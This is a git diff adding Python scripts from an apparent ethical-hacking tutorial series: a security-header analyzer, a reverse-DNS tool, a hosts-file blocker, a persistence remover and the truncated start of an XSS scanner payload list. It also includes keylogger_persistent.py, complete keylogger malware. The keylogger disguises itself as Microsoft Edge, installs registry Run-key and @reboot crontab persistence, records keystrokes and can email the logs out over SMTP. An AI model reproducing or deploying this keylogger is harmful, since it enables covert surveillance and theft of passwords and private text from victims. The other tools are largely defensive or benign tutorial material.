--- /dev/null
+++ b/ethical-hacking/http-security-headers/http_security_headers.py
@@ -0,0 +1,149 @@
+#!/usr/bin/env python3
+import requests
+import json
+import os
+import argparse
+from typing import Dict, List, Tuple
+from openai import OpenAI
+
+class SecurityHeadersAnalyzer:
+ def __init__(self, api_key: str = None, base_url: str = None, model: str = None):
+ self.api_key = api_key or os.getenv('OPENROUTER_API_KEY') or os.getenv('OPENAI_API_KEY')
+ self.base_url = base_url or os.getenv('OPENROUTER_BASE_URL', 'https://openrouter.ai/api/v1')
+ self.model = model or os.getenv('LLM_MODEL', 'deepseek/deepseek-chat-v3.1:free')
+
+ if not self.api_key:
+ raise ValueError("API key is required. Set OPENROUTER_API_KEY or provide --api-key")
+
+ self.client = OpenAI(base_url=self.base_url, api_key=self.api_key)
+
+ def fetch_headers(self, url: str, timeout: int = 10) -> Tuple[Dict[str, str], int]:
+ """Fetch HTTP headers from URL"""
+ if not url.startswith(('http://', 'https://')):
+ url = 'https://' + url
+
+ try:
+ response = requests.get(url, timeout=timeout, allow_redirects=True)
+ return dict(response.headers), response.status_code
+ except requests.exceptions.RequestException as e:
+ print(f"Error fetching {url}: {e}")
+ return {}, 0
+
+ def analyze_headers(self, url: str, headers: Dict[str, str], status_code: int) -> str:
+ """Analyze headers using LLM"""
+ prompt = f"""Analyze the HTTP security headers for {url} (Status: {status_code})
+
+Headers:
+{json.dumps(headers, indent=2)}
+
+Provide a comprehensive security analysis including:
+1. Security score (0-100) and overall assessment
+2. Critical security issues that need immediate attention
+3. Missing important security headers
+4. Analysis of existing security headers and their effectiveness
+5. Specific recommendations for improvement
+6. Potential security risks based on current configuration
+
+Focus on practical, actionable advice following current web security best practices. Please do not include ** and #
+in the response except for specific references where necessary. use numbers, romans, alphabets instead Format the response well please. """
+
+ try:
+ completion = self.client.chat.completions.create(
+ model=self.model,
+ messages=[{"role": "user", "content": prompt}],
+ temperature=0.2
+ )
+ return completion.choices[0].message.content
+ except Exception as e:
+ return f"Analysis failed: {e}"
+
+ def analyze_url(self, url: str, timeout: int = 10) -> Dict:
+ """Analyze a single URL"""
+ print(f"\nAnalyzing: {url}")
+ print("-" * 50)
+
+ headers, status_code = self.fetch_headers(url, timeout)
+ if not headers:
+ return {"url": url, "error": "Failed to fetch headers"}
+
+ print(f"Status Code: {status_code}")
+ print(f"\nHTTP Headers ({len(headers)} found):")
+ print("-" * 30)
+ for key, value in headers.items():
+ print(f"{key}: {value}")
+
+ print(f"\nAnalyzing with AI...")
+ analysis = self.analyze_headers(url, headers, status_code)
+
+ print("\nSECURITY ANALYSIS")
+ print("=" * 50)
+ print(analysis)
+
+ return {
+ "url": url,
+ "status_code": status_code,
+ "headers_count": len(headers),
+ "analysis": analysis,
+ "raw_headers": headers
+ }
+
+ def analyze_multiple_urls(self, urls: List[str], timeout: int = 10) -> List[Dict]:
+ """Analyze multiple URLs"""
+ results = []
+ for i, url in enumerate(urls, 1):
+ print(f"\n[{i}/{len(urls)}]")
+ result = self.analyze_url(url, timeout)
+ results.append(result)
+ return results
+
+ def export_results(self, results: List[Dict], filename: str):
+ """Export results to JSON"""
+ with open(filename, 'w') as f:
+ json.dump(results, f, indent=2, ensure_ascii=False)
+ print(f"\nResults exported to: {filename}")
+
+def main():
+ parser = argparse.ArgumentParser(
+ description='Analyze HTTP security headers using AI',
+ formatter_class=argparse.RawDescriptionHelpFormatter,
+ epilog='''Examples:
+ python security_headers.py https://example.com
+ python security_headers.py example.com google.com
+ python security_headers.py example.com --export results.json
+
+Environment Variables:
+ OPENROUTER_API_KEY - API key for OpenRouter
+ OPENAI_API_KEY - API key for OpenAI
+ LLM_MODEL - Model to use (default: deepseek/deepseek-chat-v3.1:free)'''
+ )
+
+ parser.add_argument('urls', nargs='+', help='URLs to analyze')
+ parser.add_argument('--api-key', help='API key for LLM service')
+ parser.add_argument('--base-url', help='Base URL for LLM API')
+ parser.add_argument('--model', help='LLM model to use')
+ parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10s)')
+ parser.add_argument('--export', help='Export results to JSON file')
+
+ args = parser.parse_args()
+
+ try:
+ analyzer = SecurityHeadersAnalyzer(
+ api_key=args.api_key,
+ base_url=args.base_url,
+ model=args.model
+ )
+
+ results = analyzer.analyze_multiple_urls(args.urls, args.timeout)
+
+ if args.export:
+ analyzer.export_results(results, args.export)
+
+ except ValueError as e:
+ print(f"Error: {e}")
+ return 1
+ except KeyboardInterrupt:
+ print("\nAnalysis interrupted by user")
+ return 1
+
+if __name__ == '__main__':
+ main()
\ No newline at end of file
diff --git a/ethical-hacking/http-security-headers/requirements.txt b/ethical-hacking/http-security-headers/requirements.txt
new file mode 100644
index 00000000..f0dd0aec
--- /dev/null
+++ b/ethical-hacking/http-security-headers/requirements.txt
@@ -0,0 +1 @@
+openai
\ No newline at end of file
diff --git a/ethical-hacking/persistent-malware/README.md b/ethical-hacking/persistent-malware/README.md
new file mode 100644
index 00000000..8df17579
--- /dev/null
+++ b/ethical-hacking/persistent-malware/README.md
@@ -0,0 +1 @@
+# [How to Make Malware Persistent in Python](https://thepythoncode.com/article/how-to-create-malware-persistent-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/persistent-malware/keylogger_persistent.py b/ethical-hacking/persistent-malware/keylogger_persistent.py
new file mode 100644
index 00000000..1ec8c2f4
--- /dev/null
+++ b/ethical-hacking/persistent-malware/keylogger_persistent.py
@@ -0,0 +1,137 @@
+import keyboard # for keylogs
+import smtplib # for sending email using SMTP protocol (gmail)
+from threading import Timer
+from datetime import datetime
+from email.mime.multipart import MIMEMultipart
+from email.mime.text import MIMEText
+import os, shutil, subprocess, platform, sys
+from sys import executable
+
+SEND_REPORT_EVERY = 60 # in seconds, 60 means 1 minute and so on
+EMAIL_ADDRESS = "email@provider.tld"
+EMAIL_PASSWORD = "password_here"
+
+def setup_persistence():
+ """This function sets up persistence (runs automatically at startup) of this executable.
+ On Linux, it uses crontab to create a cron job that runs this script at reboot.
+ On Windows, it uses the Windows Registry to add a key that runs this script at startup.
+ Note that this will only work if the script is bundled as an executable using PyInstaller on Windows.
+ On Linux, it will work with the script itself or the executable."""
+ os_type = platform.system()
+ if os_type == "Windows":
+ location = os.environ['appdata'] + "\\MicrosoftEdgeLauncher.exe" # Disguise the keylogger as Microsoft Edge
+ if not os.path.exists(location):
+ shutil.copyfile(executable, location)
+ subprocess.call(f'reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v MicrosoftEdge /t REG_SZ /d "{location}" ', shell=True)
+ elif os_type == "Linux":
+ location = os.path.expanduser('~') + "/.config/KaliStartup"
+ if not os.path.exists(location):
+ # Create the autostart directory if it doesn't exist
+ os.makedirs(location)
+ filename = os.path.join(location, "KaliStartup")
+ # Copy the keylogger to that new location
+ shutil.copyfile(sys.executable, filename)
+ # Add the keylogger to startup via crontab
+ crontab_line = f"@reboot {filename}"
+ os.system(f'(crontab -l; echo "{crontab_line}") | crontab -')
+
+# Run the setup_persistence function
+setup_persistence()
+
+class Keylogger:
+ def __init__(self, interval, report_method="email"):
+ """Initialize the keylogger with the specified interval for sending reports and the method of reporting."""
+ self.interval = interval
+ self.report_method = report_method
+ self.log = ""
+ self.start_dt = datetime.now()
+ self.end_dt = datetime.now()
+
+ def callback(self, event):
+ """Handle a keyboard event by logging the keystroke."""
+ name = event.name
+ if len(name) > 1:
+ if name == "space":
+ name = " "
+ elif name == "enter":
+ name = "[ENTER]\n"
+ elif name == "decimal":
+ name = "."
+ else:
+ name = name.replace(" ", "_")
+ name = f"[{name.upper()}]"
+ self.log += name
+
+ def update_filename(self):
+ """Update the filename for the log file based on the current date and time."""
+ start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
+ end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
+ self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
+
+ def report_to_file(self):
+ """This method creates a log file in the specified directory that contains
+ the current keylogs in the `self.log` variable"""
+ os_type = platform.system()
+ if os_type == "Windows":
+ log_dir = os.path.join(os.environ['USERPROFILE'], 'Documents', 'KeyloggerLogs')
+ elif os_type == "Linux":
+ log_dir = os.path.join(os.path.expanduser("~"), 'Documents', 'KeyloggerLogs')
+ # create a directory for the logs
+ if not os.path.exists(log_dir):
+ os.makedirs(log_dir)
+ log_file = os.path.join(log_dir, f"{self.filename}.txt")
+ # write the logs to a file
+ with open(log_file, "w") as f:
+ print(self.log, file=f)
+ print(f"[+] Saved {log_file}")
+
+ def prepare_mail(self, message):
+ """Prepare an email message with both text and HTML versions."""
+ msg = MIMEMultipart("alternative")
+ msg["From"] = EMAIL_ADDRESS
+ msg["To"] = EMAIL_ADDRESS
+ msg["Subject"] = "Keylogger logs"
+ html = f"{message}
"
+ text_part = MIMEText(message, "plain")
+ html_part = MIMEText(html, "html")
+ msg.attach(text_part)
+ msg.attach(html_part)
+ return msg.as_string()
+
+ def sendmail(self, email, password, message, verbose=1):
+ """Send an email using SMTP with the logged keystrokes."""
+ server = smtplib.SMTP(host="smtp.office365.com", port=587)
+ server.starttls()
+ server.login(email, password)
+ server.sendmail(email, email, self.prepare_mail(message))
+ server.quit()
+ if verbose:
+ print(f"{datetime.now()} - Sent an email to {email} containing: {message}")
+
+ def report(self):
+ """Report the captured keystrokes either by email or by saving to a file."""
+ if self.log:
+ self.end_dt = datetime.now()
+ self.update_filename()
+ if self.report_method == "email":
+ self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
+ elif self.report_method == "file":
+ self.report_to_file()
+ self.start_dt = datetime.now()
+ self.log = ""
+ timer = Timer(interval=self.interval, function=self.report)
+ timer.daemon = True
+ timer.start()
+
+ def start(self):
+ """Start the keylogger."""
+ self.start_dt = datetime.now()
+ keyboard.on_release(callback=self.callback)
+ self.report()
+ print(f"{datetime.now()} - Started keylogger")
+ keyboard.wait()
+
+
+if __name__ == "__main__":
+ keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
+ keylogger.start()
diff --git a/ethical-hacking/persistent-malware/requirements.txt b/ethical-hacking/persistent-malware/requirements.txt
new file mode 100644
index 00000000..c2539834
--- /dev/null
+++ b/ethical-hacking/persistent-malware/requirements.txt
@@ -0,0 +1 @@
+keyboard
diff --git a/ethical-hacking/remove-persistent-malware/README.md b/ethical-hacking/remove-persistent-malware/README.md
new file mode 100644
index 00000000..6145b698
--- /dev/null
+++ b/ethical-hacking/remove-persistent-malware/README.md
@@ -0,0 +1 @@
+# [How to Remove Persistent Malware in Python](https://thepythoncode.com/article/removingg-persistent-malware-in-python)
\ No newline at end of file
diff --git a/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py
new file mode 100644
index 00000000..88ba4f7e
--- /dev/null
+++ b/ethical-hacking/remove-persistent-malware/remove_persistent_malware.py
@@ -0,0 +1,118 @@
+import os
+import platform
+import subprocess
+import tempfile
+
+# Windows-specific imports
+if platform.system() == "Windows":
+ import winreg
+
+# Get Windows start-up entries and display
+def list_windows_startup_entries():
+ key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run")
+ entries = []
+ try:
+ i = 0
+ while True:
+ entry_name, entry_value, entry_type = winreg.EnumValue(key, i)
+ entries.append((i + 1, entry_name, entry_value))
+ i += 1
+ except OSError:
+ pass
+ winreg.CloseKey(key)
+ return entries
+
+# Remove Windows start-up entries
+def remove_windows_startup_entry(index, entries):
+ key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE)
+ try:
+ entry_name, entry_value = entries[index - 1][1], entries[index - 1][2]
+ winreg.DeleteValue(key, entry_name)
+ print(f"[+] Entry {entry_name} has been removed successfully.")
+
+ if os.path.isfile(entry_value):
+ os.remove(entry_value)
+ print(f"[+] File '{entry_value}' has been deleted successfully.")
+ else:
+ print(f"[-] File '{entry_value}' not found or unable to delete.")
+ except IndexError:
+ print("[-] Invalid entry index.")
+ except OSError as e:
+ print(f"[-] Error removing entry: {e}")
+ finally:
+ winreg.CloseKey(key)
+
+# Get the cron tab entries
+def list_linux_crontab_entries():
+ try:
+ output = subprocess.check_output(["crontab", "-l"], stderr=subprocess.STDOUT).decode('utf-8').strip()
+ if output:
+ entries = output.split("\n")
+ return [(i + 1, entry) for i, entry in enumerate(entries)]
+ else:
+ return []
+ except subprocess.CalledProcessError as e:
+ if "no crontab" in e.output.decode('utf-8'):
+ return []
+ else:
+ raise
+
+def remove_linux_crontab_entry(index, entries):
+ try:
+ entry = entries[index - 1][1]
+ all_entries = [e[1] for e in entries if e[1] != entry]
+
+ with tempfile.NamedTemporaryFile(delete=False) as tmp_file:
+ tmp_file.write("\n".join(all_entries).encode('utf-8'))
+ tmp_file.write(b"\n")
+ tmp_file_path = tmp_file.name
+
+ subprocess.check_output(["crontab", tmp_file_path], stderr=subprocess.STDOUT)
+ os.unlink(tmp_file_path)
+ print(f"[+] Entry '{entry}' has been removed successfully.")
+ except IndexError:
+ print("[-] Invalid entry index.")
+ except Exception as e:
+ print(f"[-] Error removing crontab entry: {e}")
+
+def main():
+ os_name = platform.system()
+ if os_name == "Windows":
+ entries = list_windows_startup_entries()
+ if not entries:
+ print("[-] No startup entries found.")
+ else:
+ print("[+] Startup entries:")
+ for index, name, value in entries:
+ print(f"{index}. {name}: {value}")
+
+ print("\n")
+ choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): "))
+ if choice == 0:
+ return
+ elif 0 < choice <= len(entries):
+ remove_windows_startup_entry(choice, entries)
+ else:
+ print("[-] Invalid choice.")
+ elif os_name == "Linux":
+ entries = list_linux_crontab_entries()
+ if not entries:
+ print("[-] No crontab entries found.")
+ else:
+ print("[+] Crontab entries:")
+ for index, entry in entries:
+ print(f"{index}. {entry}")
+
+ print("\n")
+ choice = int(input("[!] Enter the number of the entry you want to remove (0 to exit): "))
+ if choice == 0:
+ return
+ elif 0 < choice <= len(entries):
+ remove_linux_crontab_entry(choice, entries)
+ else:
+ print("[-] Invalid choice.")
+ else:
+ print(f"[-] Unsupported operating system: {os_name}")
+
+if __name__ == "__main__":
+ main()
diff --git a/ethical-hacking/reverse-dns-lookup/README.md b/ethical-hacking/reverse-dns-lookup/README.md
new file mode 100644
index 00000000..e2aa69a3
--- /dev/null
+++ b/ethical-hacking/reverse-dns-lookup/README.md
@@ -0,0 +1 @@
+# [How to Perform Reverse DNS Lookups Using Python](https://thepythoncode.com/article/reverse-dns-lookup-with-python)
\ No newline at end of file
diff --git a/ethical-hacking/reverse-dns-lookup/requirements.txt b/ethical-hacking/reverse-dns-lookup/requirements.txt
new file mode 100644
index 00000000..663bd1f6
--- /dev/null
+++ b/ethical-hacking/reverse-dns-lookup/requirements.txt
@@ -0,0 +1 @@
+requests
\ No newline at end of file
diff --git a/ethical-hacking/reverse-dns-lookup/reverse_lookup.py b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py
new file mode 100644
index 00000000..449f79d0
--- /dev/null
+++ b/ethical-hacking/reverse-dns-lookup/reverse_lookup.py
@@ -0,0 +1,69 @@
+# Import the necessary libraries
+import argparse
+import ipaddress
+import socket
+import requests
+
+API_KEY = "Your-Api-Key-Here" # Replace with your ViewDNS API key
+
+# Function to Check if IP address is valid.
+def is_valid_ip(ip):
+
+ try:
+ ipaddress.ip_address(ip)
+ return True
+ except ValueError:
+ return False
+
+
+# Perform reverse look up.
+def reverse_lookup(ip):
+ try:
+ domain = socket.gethostbyaddr(ip)[0]
+ return domain
+ except socket.herror:
+ return None
+
+
+# Get websites on same server.
+def get_websites_on_server(ip):
+ url = f"https://api.viewdns.info/reverseip/?host={ip}&apikey={API_KEY}&output=json"
+ response = requests.get(url)
+ if response.status_code == 200:
+ data = response.json()
+ if "response" in data and "domains" in data["response"]:
+ websites = data["response"]["domains"]
+ return websites
+ return []
+
+
+# Get user arguments and execute.
+def main():
+ parser = argparse.ArgumentParser(description="Perform IP reverse lookup.")
+ parser.add_argument("ips", nargs="+", help="IP address(es) to perform reverse lookup on.")
+ parser.add_argument("--all", "-a", action="store_true", help="Print all other websites on the same server.")
+ args = parser.parse_args()
+
+ for ip in args.ips:
+ if not is_valid_ip(ip):
+ print(f"[-] Invalid IP address: {ip}")
+ continue
+
+ domain = reverse_lookup(ip)
+ if domain:
+ print(f"[+] IP: {ip}, Domain: {domain}")
+ if args.all:
+ websites = get_websites_on_server(ip)
+ if websites:
+ print("\nOther websites on the same server:")
+ for website in websites:
+ print(f"[+] {website}")
+ print('\n')
+ else:
+ print("[-] No other websites found on the same server.")
+ else:
+ print(f"[-] No domain found for IP: {ip}")
+
+
+if __name__ == "__main__":
+ main()
diff --git a/ethical-hacking/website-blocker/website_blocker.py b/ethical-hacking/website-blocker/website_blocker.py
new file mode 100644
index 00000000..d5127585
--- /dev/null
+++ b/ethical-hacking/website-blocker/website_blocker.py
@@ -0,0 +1,146 @@
+#!/usr/bin/env python3
+"""
+Website Blocker — Block distracting websites by modifying the hosts file.
+
+This script adds entries to your system's hosts file to redirect
+specified websites to 127.0.0.1 (localhost), effectively blocking them.
+
+Usage:
+ sudo python website_blocker.py block # Block all sites
+ sudo python website_blocker.py unblock # Unblock all sites
+ python website_blocker.py status # Show blocked sites
+"""
+
+import sys
+import platform
+
+# ============================================================
+# CONFIGURATION — edit this list to block different sites
+# ============================================================
+
+SITES_TO_BLOCK = [
+ # Social media
+ "www.facebook.com", "facebook.com",
+ "www.twitter.com", "twitter.com",
+ "www.instagram.com", "instagram.com",
+ "www.reddit.com", "reddit.com",
+ # Video / entertainment
+ "www.youtube.com", "youtube.com",
+ "www.tiktok.com", "tiktok.com",
+ "www.twitch.tv", "twitch.tv",
+]
+
+REDIRECT_IP = "127.0.0.1"
+
+# Markers keep our entries isolated so we never touch
+# other entries in the hosts file.
+START_MARKER = "# >>> WEBSITE BLOCKER START >>>"
+END_MARKER = "# <<< WEBSITE BLOCKER END <<<"
+
+# ============================================================
+# Cross‑platform hosts path
+# ============================================================
+
+def get_hosts_path():
+ """Return the absolute path to the hosts file for this OS."""
+ system = platform.system()
+ if system == "Windows":
+ return r"C:\Windows\System32\drivers\etc\hosts"
+ # macOS and Linux both use /etc/hosts
+ return "/etc/hosts"
+
+HOSTS_PATH = get_hosts_path()
+
+# ============================================================
+# Core operations
+# ============================================================
+
+def block_websites():
+ """Write (or refresh) the blocker block into the hosts file."""
+ # Read the current file
+ with open(HOSTS_PATH, "r") as fh:
+ content = fh.read()
+
+ # Strip any previous block so we start fresh
+ if START_MARKER in content:
+ content = content.split(START_MARKER)[0].rstrip("\n") + "\n"
+
+ # Build the block
+ block_lines = [START_MARKER + "\n"]
+ for site in SITES_TO_BLOCK:
+ block_lines.append(f"{REDIRECT_IP}\t{site}\n")
+ block_lines.append(END_MARKER + "\n")
+
+ # Write everything back
+ with open(HOSTS_PATH, "w") as fh:
+ fh.write(content)
+ fh.writelines(block_lines)
+
+ unique_sites = len(SITES_TO_BLOCK) // 2
+ print(f"[+] Blocked {unique_sites} websites "
+ f"({len(SITES_TO_BLOCK)} URLs) → {REDIRECT_IP}")
+
+
+def unblock_websites():
+ """Remove the blocker block from the hosts file."""
+ with open(HOSTS_PATH, "r") as fh:
+ content = fh.read()
+
+ if START_MARKER not in content:
+ print("[*] No websites are currently blocked.")
+ return
+
+ # Cut out the marked section
+ before = content.split(START_MARKER)[0].rstrip("\n")
+ after = content.split(END_MARKER)[-1]
+ new_content = before + "\n" + after.lstrip("\n")
+
+ with open(HOSTS_PATH, "w") as fh:
+ fh.write(new_content)
+
+ print("[+] All websites unblocked. Focus mode off.")
+
+
+def show_status():
+ """Print which websites are currently blocked."""
+ with open(HOSTS_PATH, "r") as fh:
+ content = fh.read()
+
+ if START_MARKER not in content:
+ print("[*] No websites are currently blocked.")
+ return
+
+ block = content.split(START_MARKER)[1].split(END_MARKER)[0]
+ sites = [line.strip() for line in block.split("\n")
+ if line.strip() and not line.strip().startswith("#")]
+
+ print(f"[*] {len(sites)} URLs currently blocked → {REDIRECT_IP}:")
+ for site in sites:
+ print(f" {site.split()[-1]}")
+
+
+# ============================================================
+# CLI entry point
+# ============================================================
+
+if __name__ == "__main__":
+ if len(sys.argv) < 2:
+ print("Website Blocker — block distracting sites via /etc/hosts\n")
+ print("Usage:")
+ print(" sudo python website_blocker.py block")
+ print(" sudo python website_blocker.py unblock")
+ print(" python website_blocker.py status")
+ sys.exit(1)
+
+ command = sys.argv[1].lower()
+
+ if command == "block":
+ block_websites()
+ elif command == "unblock":
+ unblock_websites()
+ elif command == "status":
+ show_status()
+ else:
+ print(f"[!] Unknown command: {command}")
+ print("Valid commands: block, unblock, status")
+ sys.exit(1)
diff --git a/ethical-hacking/xss-vulnerability-scanner/requirements.txt b/ethical-hacking/xss-vulnerability-scanner/requirements.txt
index 1f311f5c..20355cca 100644
--- a/ethical-hacking/xss-vulnerability-scanner/requirements.txt
+++ b/ethical-hacking/xss-vulnerability-scanner/requirements.txt
@@ -1,2 +1,3 @@
requests
-bs4
\ No newline at end of file
+bs4
+colorama
\ No newline at end of file
diff --git a/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py
new file mode 100644
index 00000000..104615d8
--- /dev/null
+++ b/ethical-hacking/xss-vulnerability-scanner/xss_scanner_extended.py
@@ -0,0 +1,203 @@
+import requests # Importing requests library for making HTTP requests
+from pprint import pprint # Importing pprint for pretty-printing data structures
+from bs4 import BeautifulSoup as bs # Importing BeautifulSoup for HTML parsing
+from urllib.parse import urljoin, urlparse # Importing utilities for URL manipulation
+from urllib.robotparser import RobotFileParser # Importing RobotFileParser for parsing robots.txt files
+from colorama import Fore, Style # Importing colorama for colored terminal output
+import argparse # Importing argparse for command-line argument parsing
+
+# List of XSS payloads to test forms with
+XSS_PAYLOADS = [
+ '">